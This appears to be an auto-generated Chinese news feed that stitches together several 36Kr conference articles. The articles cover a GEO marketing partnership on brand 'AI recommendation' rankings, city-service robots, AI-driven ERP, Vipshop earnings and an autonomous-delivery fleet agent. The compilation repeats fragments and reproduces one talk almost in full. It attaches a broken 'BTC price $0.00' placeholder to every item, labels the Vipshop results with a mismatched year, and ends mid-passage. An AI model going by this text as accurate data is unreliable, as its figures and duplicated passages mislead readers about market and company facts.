迟涵丨36氪副总裁李铭丨PureblueAI清蓝市场副总裁主持人：随着AI逐渐成为新的信息入口和消费决策入口，品牌竞争正在从传统搜索、电商货架、内容平台，进一步延伸到AI回答和AI推荐场景。品牌在AI回答中是否被提及、是否被推荐、排序是否靠前，正在变得越来越重要。 36氪长期关注新经济、新消费与科技商业趋势，PureblueAI清蓝则以“科学GEO”方法论为核心，为企业提供AI口碑营销服务。双方将从产业观察与AI口碑营销实践两个角度出发，持续关注品牌在AI平台中的推荐表现，为行业提供新的观察参考。接下来，我们邀请双方负责人上台，一起聊聊这次战略合作背后的思考，并共同开启36氪与PureblueAI清蓝战略合作启动仪式暨《2026消费品牌AI推荐力名册》发布环节。掌声有请 36氪副总裁迟涵、PureblueAI清蓝市场副总裁李铭。主持人：两位负责人好。刚才我们提到，随着AI逐渐进入消费决策场景，品牌在AI回答中的呈现方式正在变得越来越重要。在正式启动合作与发布名册之前，我们想先请两位聊一聊：双方为什么会在这个时间点选择合作？又为什么选择从“消费品牌 AI 推荐力”这个方向切入？我们先请36氪迟涵总为我们简单分享。迟涵：相信这两天AI Partner大会听下来也能充分感受到AI对我们的工作、生活带来的变化，数字营销领域更是这样，36氪作为最早发现和最早报道GEO的媒体，我们发现PureblueAI清蓝是非常优秀的GEO合作伙伴，他们有自研的大模型算法，且合规可信，那我相信将来通过这样的合作可以让更多品牌被看到、被选择。主持人：感谢 36氪负责人的分享。刚才我们也听到，36氪很早就关注到 GEO 这一新兴赛道，并且选择与 PureblueAI清蓝合作，也是看重 PureblueAI清蓝在自研技术算法、科学 GEO 方法论以及合规服务实践上的积累。那从 PureblueAI清蓝的角度来看，为什么会选择与 36氪达成战略合作？这份《2026消费品牌AI推荐力名册》，又希望为行业和品牌提供哪些新的参考？李铭：这次双方合作，其实也是一次理念和能力上的高度契合。大家知道36氪所提倡的是“让一部分人先看到未来”，而PureblueAI清蓝也希望“让一部分品牌先被AI所看到”。所以我们双方在底色上是完全相融的，36氪懂行业、懂品牌、懂趋势，PureblueAI清蓝懂AI、懂算法、懂大模型，双方的合作是敏锐的商业洞察和硬核的AI营销技术融合，我们希望通过「2026消费品牌AI推荐力名册」，为企业和品牌提供AI语境下的体检报告与参考风向标，帮助更多品牌去理解AI时代的竞争变化。同时今天AI推荐力名册是第一期，之后还会发布更多行业、更多批次的名册，如果有一部分的名册和品牌暂时没有入选，没有关系，我们再接再励，希望大家能够从更科学、更规范、更合规的方式来做AI营销，能够真正提升品牌自己的推荐力。主持人：感谢两位负责人的精彩分享。通过刚才的交流，我们也更加清晰地看到，AI 推荐力正在成为品牌需要关注的新议题，而 36氪与PureblueAI清蓝的合作，也将为这一议题提供新的观察视角。下面我宣布，36氪与 PureblueAI清蓝战略合作正式启动！请二位负责人面向镜头合影留念，也请现场嘉宾共同见证这一重要时刻。请两位到台下稍事休息，下面我宣布，“2026消费品牌AI推荐力名册”正式揭晓，请看大屏幕。

文章来源

标题: 36氪x PureblueAI清蓝战略合作启动仪式暨《2026消费品牌AI推荐力名册》发布 | 2026 AI Partner·北京亦庄AI+产业大会
来源: ai
链接: https://36kr.com/p/3818877539091333?f=rss
时间: 2026-05-21 18:03:58 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3818877539091333?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-21T12:00:59.185615+00:00

城市级AI服务：从试点到常态化，机器人的实景作战与规模化落地| 2026AI Partner·北京亦庄AI+产业大会

Thu, 21 May 2026 12:00:52 +0000

原文摘要

当Robotaxi还在为L4苦苦挣扎时，酷哇的环卫机器人、无人小巴、机器狗已经在50多个城市“上岗”赚钱了。

具身智能最大的瓶颈不是算法，而是数据——没有量产就没有数据，没有数据就无法进化。酷哇的解法是“以战养战”：让机器人在真实运营中一边干活一边成长，用万台规模反哺模型迭代。李柯宏强调，中国是全球少有的支持机器人规模化应用的市场，酷哇正依托“一带一路”先行布点，用真实的运营数据驱动具身智能的持续进化。以下为酷哇科技联合创始人、COO 李柯宏演讲内容，经36氪整理编辑：

李柯宏丨酷哇科技联合创始人、COO 非常感谢36氪和亦庄的邀请，今天我分享的主题是：作为一家以统一世界模型驱动的具身智能企业，我们如何在全时空城市场景中实现机器人的规模化部署。从大语言模型和具身智能的演进来看，2023年是一个关键分水岭。此前行业更多采用分模块或端到端的机器人架构；2023年后，以生成式AI为底座，诞生了面向物理世界的世界模型（World Model）。它与上一代模型的本质差异在于：能够基于对环境的观测，生成对未来的动作预测，并将物理因果关系嵌入决策链条。过去两年，中美顶尖AI公司发布了大量世界模型，无论是应用于机器人、智驾还是视频生成，大方向是统一的——将生成式算法落地于物理世界。生成式算法仍遵循Scaling Law。以Robotaxi为例：Waymo从Google X起步，耕耘十余年；特斯拉依托千万级车队众包数据训练，已逼近L4门槛。但具身智能的复杂度远超自动驾驶——理论上需要的数据量级更大。现实困境在于：全球没有一个像汽车那样普及的“具身智能终端”，能让用户边用边采集数据。具身数据从何而来，是目前行业最大的瓶颈。我们酷哇的解法，我们做了Coowa WAIM (World-Action Model)，基于这个模型做一脑多行，具体应用在五大场景，环卫、出行、即时配送、物业、家庭，前三个要么是规模化，要么快速做POC，后面两个还是需要一点时间。再来介绍以下我们模型的结构。酷哇的解法是，我们构建了 CooWAIM（World-Action Interactive Model）通用世界模型，以“一脑多形”架构驱动不同形态本体，覆盖环卫、出行、即时配送、物业、家庭五大核心场景。前三者已进入规模化或快速POC阶段，后两者仍需时间爬坡。下面具体介绍模型的结构：整个模型采用双系统架构：

一、直觉行动系统：基于视觉的端侧实时推理，负责当下安全与效率；二、长程任务推理系统：负责全局规划与语义理解。

两者叠加，输出映射为两大具身能力域：

Drive（全域移动）：覆盖结构化与非结构化场景，城市主干道、辅道、人行道、园区楼宇内均可自由穿行； Work（多关节协作操作）：超越传统“抓取-放下”范式，将环卫扫盘、风机模组、机械臂等执行器统一纳入操作空间，实现移动与操作的不可解耦融合。

酷哇的路径是“以战养战”：拆解行业特性，匹配技术成熟度、产品成熟度与商业成熟度，按经济性节奏部署，最终实现具身智能的规模化落地。在城市服务领域，大家广义理解的drive层面做到万台规模，无序移动的数据或者能力基本实现。再往上走，我们找到即时配送场景，基于“无序移动+简单操作”实现产品匹配，我们认为即时配送场景在短期内有规模化空间。长期来看，具身智能的落地路径是从开放场景走向半封闭、再走向封闭，最后进入家庭——从移动到操作，逐步把数据收集起来。酷哇成立于2015年，深耕城市开放场景十年时间，推出适配各类场景的产品矩阵，包括1吨级、3吨级环卫机器人及无人小巴，覆盖市政清扫与出行接驳。以下场景为标准中国人行道——环境高度复杂，感知精度要求高于主干道，是我们的机器人产品在非结构化环境下移动能力的直接体现。我认为这是世界模型在端侧应用的典型范例。讲一个大前提：我们的机器人在上下班高峰期过路口时，需实时处理上百个动态特征（行人、非机动车），生成未来轨迹预测，评估对自身的影响，再输出自适应行动轨迹。在拥挤道路环境下，其交互博弈能力直接决定通行效率。有人会问为什么小车需要这么强的能力——这跟具身智能的经济性直接相关：每过一个路口，通行率更高或通行时长更短，第一覆盖距离加大；第二单机清扫时间效率变快，就可以覆盖更大面积，帮助客户节约更多成本。比如你能节约20%的时间，基本约等于20%的毛利，这是机器人规模化应用的前提条件。清扫作业过程中，机器人跟主干道的交互不仅是有避障，还有主动寻求碰撞的 action，比如贴边清扫、识别垃圾、控制风机模组——多关节协作，既有 Drive，又有 Work，这是不可解耦的。机器人会实时根据垃圾的分布，再做locomotion，进而把 Drive、Walk 融合到一个场景任务中来。之后是我们的物业服务场景的代表产品瓦力机器人R0，作业范围覆盖整个物业场景包括室外、室内，都会有类似的 Work 能力体现。在出行场景的无人小巴方面，目前Coobus已在全球10个城市左右落地，目前亦庄很快也可以看得到。接下来是酷哇实现机器人规模化落地的关键数据：真实里程5500万公里，全国50多个城市和地区部署。在即时配送场景，基于通用的无序移动+简单Work能力，我们部署了四足配送机器狗。在末端配送环节中，我们发现一个痛点：占用配送小哥大部分时间并不是在主干道上骑电瓶车——这个效率已经非常高了——真正损耗时间的是如何在封闭楼宇或大型小区找门牌号，这是地图无法标注出来的。我们通过机器狗来解决：一只狗送万家货，一方面我们与客单价相对较高、对履约时效有较高要求的品牌专送达成合作。另一方面，在物业层面，我们积极接入他们的系统，争取在不改变物理基础设施、不做梯控改造的前提下完成履约，现在也做到三公里以内30分钟送到。如图所示，这是我们抓取冷启动的动作，包括柔性物体或长程任务抓取也能够完成。这是机器狗送咖啡的场景：袋子的颜色、大小都不一样，抓取位置偏柔性，还是得用真机训练——因为袋子的材质构成在开源数据集中很难抓到，包括 action 和 VOA 对齐的动作数据是不存在的，只能在真实场景中采集，再用收集到的数据进行训练。这是比较好的小区，也会出现“看似路又不似路”的场景。即便在小区内，对机器人的寻址能力要求也非常高。目前我们的机器狗在电梯里送货——在不改变任何基础设施的情况下，自主识别电梯，不需要做梯控，楼层也可以自主识别。这是最后送到家的环节，跟上游系统打通，通过 AI 短信、电话通知客户东西到了。虽然看似不那么难，里面的非标环节非常多，非常非结构化，这是我们一整套具身智能战略目前的应用效果。目前酷哇的全系列产品，已经在全国50余个地区落地，累计收到1000万条视频-语义-动作对齐的 clips。给予现在以战养战的经营策略，和万台级机器人的部署，公司目前每年也能实现大几个亿的利润流入。全世界各地像中国这样支持机器人、AI 规模化应用的国家不多，或者几乎没有。我们尽早去各地先布点，在等别的国家开放应用、市场认可的同时，先行把这个市场的意识形态掌握，主要采用“一带一路”国家为

文章来源

标题: 城市级AI服务：从试点到常态化，机器人的实景作战与规模化落地| 2026AI Partner·北京亦庄AI+产业大会
来源: ai
链接: https://36kr.com/p/3818889074557829?f=rss
时间: 2026-05-21 18:15:31 +0800

核心内容

当Robotaxi还在为L4苦苦挣扎时，酷哇的环卫机器人、无人小巴、机器狗已经在50多个城市“上岗”赚钱了。

一、直觉行动系统：基于视觉的端侧实时推理，负责当下安全与效率；二、长程任务推理系统：负责全局规划与语义理解。

两者叠加，输出映射为两大具身能力域：

内容来源：ai 原文链接：https://36kr.com/p/3818889074557829?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-21T12:00:52.770289+00:00

从概念到产线一：AI在工业制造领域的深水区探索| 2026AI Partner·北京亦庄AI+产业大会

Thu, 21 May 2026 12:00:46 +0000

原文摘要

AI在工业制造领域，不是“锦上添花”的辅助工具，而是“重新设计工厂”的核心引擎。从AOI报废板的秒级识别，到刀具参数的动态优化，再到打通设计、生产、供应链的全链路智能——这场对话告诉我们，每1%的效率提升都是真金白银，AI的价值不是叠加功能，而是把“人等货”变成“货等人”。

演讲拆解了AI从概念到产线的落地路径：用自动化中台打通全链路协同，让AI在研发设计、工程预测、供应链管理、生产执行四个领域实现可量化的提效。针对不同制造业企业，给出分层方案。AI不是在某个环节帮你做得更好，而是从原生流程开始，重新定义制造业的生产力基准。以下为嘉立创云ERP负责人杨超演讲内容，经36氪整理编辑：

杨超丨嘉立创云ERP负责人尊敬的各位嘉宾、行业同仁：大家好！感谢 36 氪与北京亦庄 AI + 产业大会提供本次交流平台。我是嘉立创云 ERP 负责人杨超，今天将围绕AI 在工业制造从概念验证到产线规模化落地的核心命题，结合嘉立创在电子制造领域的全链路实战经验，分享 AI 如何从辅助工具升级为制造生产力核心引擎，破解行业落地深水区难题。当前，AI 已不是工业制造的锦上添花型辅助手段，而是重构工厂运行逻辑、重塑产业效率基准的核心驱动力。从研发设计、工程预测、供应链协同到生产执行，AI 的价值不在于单点功能叠加，而在于全链路打通与流程原生再造，让制造从 “人等货” 转向 “货等人”，每 1% 的效率提升都转化为实打实的经济效益。一、AI 落地核心定位：全链路智能，重构制造生产力嘉立创以电子制造为核心场景，打造AI 驱动的设计 - 生产 - 供应链一体化解决方案，实现 AI 技术在制造全流程的深度渗透：

研发设计端：AI 智能辅助设计、3D 模型前置智能处理、技术资料智能解析与生成，替代传统人工重复性工作，提升设计效率与准确率。生产执行端：AI 视觉检测、加工参数智能优化、产线动态调度，破解生产瓶颈与质量隐患。供应链协同端：需求智能预测、物料自动匹配、库存动态预警，实现供需精准匹配。工程预测端：设备寿命预判、生产异常预警，从被动维修转向主动预防。

通过四大场景全域覆盖，AI 完成从辅助工具到核心生产力引擎的本质跨越，重新定义电子制造智能化标准。二、实战落地案例：AI 赋能制造的可量化价值

AOI 报废板 AI 智能识别传统 AOI 检测依赖人工判读，耗时久、误判率高，单块板材检测需数分钟；引入 AI 视觉识别后，实现秒级精准判定，检测效率提升 80% 以上，大幅降低误判与物料报废率，直接实现产线降本增效。
CNC 加工刀具参数 AI 动态优化基于历史加工数据、设备状态、物料特性构建 AI 优化模型，实时迭代刀具运行参数，实现刀具利用率最大化、损耗最小化，延长刀具使用寿命，提升加工精度与生产稳定性。
全流程自动化协同以自动化中台为核心载体，打通设计、生产、仓储、采购、财务全链路数据壁垒，实现：

订单驱动：销售订单自动拆解生产需求、库存校验、一键采购；生产智能：自动排产、智能领料、入库识别、库存预警；闭环管控：生产全流程数据可追溯，效率与质量双重提升。

AI 落地的核心价值，最终体现为人力成本降低、生产效率提升、物料损耗减少、产品质量稳定四大核心指标的可量化改善。三、分层落地方案：适配不同制造企业的 AI 转型路径针对制造业企业数字化基础差异，我们提供分层级、可落地、低门槛的 AI+ERP 解决方案，破解企业 “不会用、不能用、不敢用” 的痛点。方案一：无 ERP 系统的中小企业聚焦轻量化、快部署、易上手，依托嘉立创云 ERP+AI 原生能力，降低数字化转型门槛：

深度贴合电子制造行业痛点，内置元器件库、替代料自动识别、智能排产等场景化功能；全流程智能链路贯穿，无需复杂配置，即可实现订单 - 采购 - 生产 - 仓储 - 财务一体化自动化；目前已服务 1 万余家制造企业，验证中小制造企业 AI 落地的可行性与规模化价值。

方案二：已有 ERP / 自研系统的中大型企业聚焦能力升级、智能迭代、流程再造，助力企业从人工协作迈向智能治理：

需求智能生成：通过自然语言交互，快速将业务想法转化为 PRD、UI 原型等落地文档； AI 原生编程：基于需求文档自动生成代码，替代传统手动开发，缩短研发周期；缺陷智能自愈：系统自动检测程序漏洞、生成修复补丁，完成验证与迭代，实现系统自我进化。

核心落地逻辑：AI 执行 + 人工确认，既保证智能效率，又兼顾业务可控性，实现数字化系统的原生升级。四、核心价值与未来展望：AI 成为制造规模化放大器

核心价值总结 AI 对制造的价值，不是单点提效，而是全链路范式革新：

嘉立创云作为制造企业，自身完成全链路 AI 实践验证，具备可复制的实战经验； AI 是 ERP 能力的规模化放大器，将单工厂的降本增效成果，复制服务于数上万家制造企业；让前沿 AI 技术以低成本、快部署、易落地的方式，普惠中小制造企业。

未来合作愿景我们坚信，工业制造 AI 转型不是单点企业的孤军奋战，而是全行业的协同共进。嘉立创云愿开放全链路 AI 落地方法论、场景化解决方案、实战化技术能力，与行业同仁携手，以实战落地为核心，打造真正服务于制造业的智能 ERP 体系，推动中国工业制造向全链路智能化、规模化、高效化转型升级。最后，感谢各位聆听，期待与各位深度合作，共筑工业 AI 新生态！谢谢大家！

文章来源

标题: 从概念到产线一：AI在工业制造领域的深水区探索| 2026AI Partner·北京亦庄AI+产业大会
来源: ai
链接: https://36kr.com/p/3818903062004870?f=rss
时间: 2026-05-21 18:29:53 +0800

核心内容

AOI 报废板 AI 智能识别传统 AOI 检测依赖人工判读，耗时久、误判率高，单块板材检测需数分钟；引入 AI 视觉识别后，实现秒级精准判定，检测效率提升 80% 以上，大幅降低误判与物料报废率，直接实现产线降本增效。
CNC 加工刀具参数 AI 动态优化基于历史加工数据、设备状态、物料特性构建 AI 优化模型，实时迭代刀具运行参数，实现刀具利用率最大化、损耗最小化，延长刀具使用寿命，提升加工精度与生产稳定性。
全流程自动化协同以自动化中台为核心载体，打通设计、生产、仓储、采购、财务全链路数据壁垒，实现：

方案二：已有 ERP / 自研系统的中大型企业聚焦能力升级、智能迭代、流程再造，助力企业从人工协作迈向智能治理：

核心价值总结 AI 对制造的价值，不是单点提效，而是全链路范式革新：

未来合作愿景我们坚信，工业制造 AI 转型不是单点企业的孤军奋战，而是全行业的协同共进。嘉立创云愿开放全链路 AI 落地方法论、场景化解决方案、实战化技术能力，与行业同仁携手，以实战落地为核心，打造真正服务于制造业的智能 ERP 体系，推动中国工业制造向全链路智能化、规模化、高效化转型升级。最后，感谢各位聆听，期待与各位深度合作，共筑工业 AI 新生态！谢谢大家！

内容来源：ai 原文链接：https://36kr.com/p/3818903062004870?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-21T12:00:46.677946+00:00

业绩快报 | 唯品会一季度净营收266亿元，SVIP用户贡献超50%线上销售额

Thu, 21 May 2026 12:00:40 +0000

原文摘要

5月21日美股盘前，唯品会发布2025年第一季度财报。一季度内，唯品会实现净营收266亿元（人民币，下同），Non-GAAP净利润23亿元。观察核心运营数据，一季度其实现商品交易总额（GMV）569亿元，同比增长8.6%，订单量1.73亿单，同比增长3.2%。同时，平台于该季度活跃用户数为4170万，同比实现正增长。在春节期间穿戴和年货需求集中释放、透支后续消费力的季节性特点下，相较于行业整体节奏，唯品会在交易规模与订单量增速上保持韧性，体现出其在货品供给、用户运营上的核心竞争力。在货品供给端，一季度唯品会持续挖掘重点客群消费特点并扩充优质供给。“限时狂秒”栏目引入雅诗兰黛、珀莱雅等品牌的明星单品，有效激发用户购买意愿，推动栏目业绩实现同比显著增长，并带动用户回访率提升。同时，平台结合专业运动、休闲健身、户外踏青等多元场景，与萨洛蒙、安踏、李宁、伯希和、凯乐石等知名品牌深化合作，充分对标时下消费者日益增长的户外运动需求。顺应一季度踏青时节与清明小长假等带动的户外休闲消费热潮，今年3月，“唯品运动节”上线；当月22日，平台还推出了“唯品新风潮”超级品类日活动，主推安踏、蕉下、巴拉巴拉等品牌的户外休闲服饰与童装童鞋。反映在经营业绩上，“唯品运动节”上线首日，平台业绩即同比增长15%。整个一季度，唯品会超级大牌日和超级品类日栏目的整体业绩和档均业绩同比亦均有两位数增幅。此前有市场观点指出，消费分级背景下，场景化、垂直化品类布局将成为折扣零售平台突破增长瓶颈的关键抓手。透过一季报来看，唯品会相关布局已率先落地见效。在用户运营端，一季度，唯品会私享特卖活动引入近百个知名品牌，进一步丰富SVIP专属货价权益；同时通过持续升级生活特权、加码联合卡福利等，全方位提升会员体验，强化用户粘性。受益于多项权益加码持续激活会员价值，会员体系成为唯品会业绩的核心支柱，一季度超级 VIP（SVIP）活跃用户数同比快速增长，持续贡献超50%的线上销售额，会员消费力与粘性优势凸显。此外，在AI赋能方面，一季度，唯品会围绕虚拟试衣、智能客服、搜索推荐等功能推进 AI 规模化部署，优化用户服务体验、提升运营效率；运用生成式 AI 扩大个性化营销规模，精准触达用户需求，构建可持续增量路径。同时，AI全面赋能商家端，覆盖生意诊断、人群洞察、货品策略等维度，助力商家优化经营决策，平台整体运营效率提升。唯品会董事长兼首席执行官沈亚表示：“我们持续聚焦于高质量发展，在丰富货品供给、优化用户运营、推进AI融合应用等方面取得稳步进展，积极把握折扣零售市场机遇，朝着长期稳健向好的目标前行。”

文章来源

标题: 业绩快报 | 唯品会一季度净营收266亿元，SVIP用户贡献超50%线上销售额
来源: ai
链接: https://36kr.com/p/3818915823764610?f=rss
时间: 2026-05-21 18:54:53 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3818915823764610?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-21T12:00:40.462982+00:00

新石器New Claw：AI一体化解决方案，零门槛当无人车指挥官| 2026AI Partner·北京亦庄AI+产业大会

Thu, 21 May 2026 12:00:33 +0000

原文摘要

管理一千台无人车需要多少人？答案是：一个人，一部手机，一句话。当自动驾驶逐渐“平权”，真正的瓶颈从技术转向了规模化运营。

颉晶华丨新石器无人车联合创始人兼CPO 各位好，我是新石器的颉晶华，很荣幸跟大家介绍新石器和我们在AI方面的应用与思考。八年前新石器公司创立，到如今已经成长为全球无人配送赛道的领军企业。从这几年的进程来看，我们有三条主线，第一条线是公司发展的里程碑。三个重要的里程碑：第一、2019年我们完成了全球第一个L4级别无人车万台量产能力的工厂，；第二、2021年5月，北京亦庄当时授予新石器中国第一张无人配送牌照，开启了我们商业化部署的大门；第三、2025年我们达到了万台量级的无人车队，开始实现大规模运营。第二条线是我们的拳头产品，X3、X6、H12，X3对应3个立方的装载，X6，6个立方的装载，H12，12个立方的装载。对商用车来说，用户最看重的是是降低使用成本，TCO（总拥有成本），这是我们最核心的价值。第三条线，三个数字。1亿5千万公里，这是自动驾驶的累计运营里程；一个是1500个专利，基于自动驾驶行业的专利，50%以上的发明专利，一个是20个国家，除中国以外我们现在已经在海外19个国家开始做规模化部署、POC。我们不单是一家做无人配送、新石器无人车的公司，物流行业里有三个重要的环节，运输、装卸、搬运，我们现在解决的只是运输这一个环节，装卸和搬运需要具身智能的装备来完成，我们正由新石器无人车向新石器机器人发展。介绍完公司大概的脉络，我们整个技术基于L4级别自动驾驶的无图技术，Neolix VA视觉+动作大模型，前段时间有行业大佬谈到自动驾驶没有那么神秘，现在自动驾驶实现的方法无非是三个，虚拟仿真、端到端、强化学习，抓眼球的词语更多是为了营销。从我的体感也是这样，商业自动驾驶还是为了降本，三个核心点也是为了降本，第一个就是摆脱对高精地图的依赖，高精地图的整个部署成本非常高，采、建、制、验，每一个环节都会产生成本。通过无图方案，我们可以大幅度降低部署成本，快速进行部署；第二个端到端依托于国内丰富的城配场景，基于现有数据在多场景、全天候、全时段运营；第三，新石器生于物流、长于物流，在物流行业的Know-how，无论是软件、硬件开发都沉淀了很多的经验，为接下来大规模扩张做好了相关的准备。 RaaS是我们去年开创的新商业模式，之前无人配送行业主要以卖车为主，RaaS的意思是RoboVan-as-a-Service，我们希望提供给用户是即时服务，用户有运输需求的时候，可以很快叫到新石器无人车满足他运输的需求。无人配送车作为机器，是可以24小时运营的，有效运营的时间越长，边际成本越低，这就是我们开创RaaS模式的驱动力。新石器出海近20个国家，包含了阿联酋、泰国、新加坡、日本、韩国包括欧洲、瑞士、西班牙，今年的目标是在中东地区部署超过一万台车，在这个区域建起一个无人配送网络。 AI，自动驾驶本身已经是AI了，新石器今年思考的一个新的关键方向是如何使用AI技术来管理和运营大规模无人车车队。全球最大的商用车车队是美国的UPS（United Parcel Service），拥有12万辆商用车，管理12万辆商用车需要6000-8000人，这个还不算司机，这几千人是做车辆管理、车辆调度。新石器这么大规模的无人车队，AI能够在车队管理和调度方面提供哪些帮助呢？，大家可以看一个介绍NeoClaw的视频。 NeoClaw是新石器全栈自研、行业首个无人车运营的AI Agent。春节时期很多行业都在养“虾”，我们也组建了产品研发团队。我们认为接下来无人车的规模化部署、规模化运营难点会在于车队管理，不再是自动驾驶，自动驾驶基本上已经平权了。大家可以看到我们对于车队管理的核心功能已经集成在NeoClaw产品里。还有一个问题，为什么是养“虾”而不是养“马”？Hermes最近很火，前段时间刚刚推出的开源、自进化的AI智能体，智能化程度非常高，但我们认为OpenClaw更适合物流行业。物流对确定性要求很高，它需要的不止是一个单体智能，单体智能可以理解很长的上下文，可以进行大量的数据处理，但物流行业最需要的是自动化的执行体系，OpenClaw更像执行体系，同时还是协调性的Agent——系统发出自动化解析命令，校验车辆状态，生成最后方案，最后批量执行，反馈结果，这是物流行业需要的。我们认为，一个人、一部手机，一个NeoClaw未来可以轻松管理一千台以上的无人配送车。想用车时说句话就行，在机器人时代，跟机器人的交互不再是原来通过APP、接口，而是应该用自然语言。现在所有的交互方式，我们认为跟机器人交互用自然语言是效率最高的，对用户来说，几乎不需要培训成本，一线员工一分钟上手，真正实现人人会用，说话即可以控制。 NeoClaw本身也不是单个对话的记忆，OpenClaw是单个记忆，NeoClaw本身就是车辆管理人员，通过短记忆+记忆skill来完成整个大的RAG闭环，通过安全链路、安全网关传到云端数据，我们进入基于用户的所有权限以及持续输入的全局记忆，最终成为具备不断学习能力的智能体。持续学习。持续学习的核心点不在于单独的用户行为，而是包含运营数据、场景数据、用户习惯，深度分析完这些运营数据后，最终会给用户提供最好的运营解决方案，输出优化建议，驱动运营体系的持续迭代。对于NeoClaw不只是运营，更是具身智能的试验田。具身智能机器人未来要大规模落地，有点像现在自动驾驶大规模的落地，重点不止是单体的智能程度，更重要的是如何进行大规模的管理。NeoClaw让AI从虚拟对话走向物理执行，从辅助工具走向自主决策，真正打通感知、决策、执行、进化的具身智能闭环。常用大模型的朋友一定知道，大模型总会在最后时刻跟大家说，我用一句话给你用最简单的方式表达你现在要问的问题。我也有一页PPT作为总结：NeoClaw带来的是十倍效率提升。如果说单人管理无人车的天花板是十台，AI智能时代，天花板将升至100台以上。对于无人车队管理以及未来的机器人管理，十倍效率提升这是现在的数据，从我们的视角来看未来的管理效率应该是一百倍以上。一旦能实现一百倍以上的效率提升，将会带来几个重要的突破：第一是管理模式和能力的跃迁；第二个全流程闭环，不再是单体智能，是全场景、全Agent智能；第三个会出现很多新的典型场景；最后是零培训成本，使用无人配送车不再存在门槛。这也是新石器为之努力的方向，人工智能的价值不仅在于能写多少代码，更在于能解放多少双手，温暖多少人心。最后感谢北京亦庄、36氪和关注AI的所有朋友们和在场来宾，非常感谢！

文章来源

标题: 新石器New Claw：AI一体化解决方案，零门槛当无人车指挥官| 2026AI Partner·北京亦庄AI+产业大会
来源: ai
链接: https://36kr.com/p/3818927367046018?f=rss
时间: 2026-05-21 18:55:09 +0800

核心内容

管理一千台无人车需要多少人？答案是：一个人，一部手机，一句话。当自动驾驶逐渐“平权”，真正的瓶颈从技术转向了规模化运营。

颉晶华丨新石器无人车联合创始人兼CPO 各位好，我是新石器的颉晶华，很荣幸跟大家介绍新石器和我们在AI方面的应用与思考。八年前新石器公司创立，到如今已经成长为全球无人配送赛道的领军企业。从这几年的进程来看，我们有三条主线，第一条线是公司发展的里程碑。三个重要的里程碑：第一、2019年我们完成了全球第一个L4级别无人车万台量产能力的工厂，；第二、2021年5月，北京亦庄当时授予新石器中国第一张无人配送牌照，开启了我们商业化部署的大门；第三、2025年我们达到了万台量级的无人车队，开始实现大规模运营。第二条线是我们的拳头产品，X3、X6、H12，X3对应3个立方的装载，X6，6个立方的装载，H12，12个立方的装载。对商用车来说，用户最看重的是是降低使用成本，TCO（总拥有成本），这是我们最核心的价值。第三条线，三个数字。1亿5千万公里，这是自动驾驶的累计运营里程；一个是1500个专利，基于自动驾驶行业的专利，50%以上的发明专利，一个是20个国家，除中国以外我们现在已经在海外19个国家开始做规模化部署、POC。我们不单是一家做无人配送、新石器无人车的公司，物流行业里有三个重要的环节，运输、装卸、搬运，我们现在解决的只是运输这一个环节，装卸和搬运需要具身智能的装备来完成，我们正由新石器无人车向新石器机器人发展。介绍完公司大概的脉络，我们整个技术基于L4级别自动驾驶的无图技术，Neolix VA视觉+动作大模型，前段时间有行业大佬谈到自动驾驶没有那么神秘，现在自动驾驶实现的方法无非是三个，虚拟仿真、端到端、强化学习，抓眼球的词语更多是为了营销。从我的体感也是这样，商业自动驾驶还是为了降本，三个核心点也是为了降本，第一个就是摆脱对高精地图的依赖，高精地图的整个部署成本非常高，采、建、制、验，每一个环节都会产生成本。通过无图方案，我们可以大幅度降低部署成本，快速进行部署；第二个端到端依托于国内丰富的城配场景，基于现有数据在多场景、全天候、全时段运营；第三，新石器生于物流、长于物流，在物流行业的Know-how，无论是软件、硬件开发都沉淀了很多的经验，为接下来大规模扩张做好了相关的准备。 RaaS是我们去年开创的新商业模式，之前无人配送行业主要以卖车为主，RaaS的意思是RoboVan-as-a-Service，我们希望提供给用户是即时服务，用户有运输需求的时候，可以很快叫到新石器无人车满足他运输的需求。无人配送车作为机器，是可以24小时运营的，有效运营的时间越长，边际成本越低，这就是我们开创RaaS模式的驱动力。新石器出海近20个国家，包含了阿联酋、泰国、新加坡、日本、韩国包括欧洲、瑞士、西班牙，今年的目标是在中东地区部署超过一万台车，在这个区域建起一个无人配送网络。 AI，自动驾驶本身已经是AI了，新石器今年思考的一个新的关键方向是如何使用AI技术来管理和运营大规模无人车车队。全球最大的商用车车队是美国的UPS（United Parcel Service），拥有12万辆商用车，管理12万辆商用车需要6000-8000人，这个还不算司机，这几千人是做车辆管理、车辆调度。新石器这么大规模的无人车队，AI能够在车队管理和调度方面提供哪些帮助呢？，大家可以看一个介绍NeoClaw的视频。 NeoClaw是新石器全栈自研、行业首个无人车运营的AI Agent。春节时期很多行业都在养“虾”，我们也组建了产品研发团队。我们认为接下来无人车的规模化部署、规模化运营难点会在于车队管理，不再是自动驾驶，自动驾驶基本上已经平权了。大家可以看到我们对于车队管理的核心功能已经集成在NeoClaw产品里。还有一个问题，为什么是养“虾”而不是养“马”？Hermes最近很火，前段时间刚刚推出的开源、自进化的AI智能体，智能化程度非常高，但我们认为OpenClaw更适合物流行业。物流对确定性要求很高，它需要的不止是一个单体智能，单体智能可以理解很长的上下文，可以进行大量的数据处理，但物流行业最需要的是自动化的执行体系，OpenClaw更像执行体系，同时还是协调性的Agent——系统发出自动化解析命令，校验车辆状态，生成最后方案，最后批量执行，反馈结果，这是物流行业需要的。我们认为，一个人、一部手机，一个NeoClaw未来可以轻松管理一千台以上的无人配送车。想用车时说句话就行，在机器人时代，跟机器人的交互不再是原来通过APP、接口，而是应该用自然语言。现在所有的交互方式，我们认为跟机器人交互用自然语言是效率最高的，对用户来说，几乎不需要培训成本，一线员工一分钟上手，真正实现人人会用，说话即可以控制。 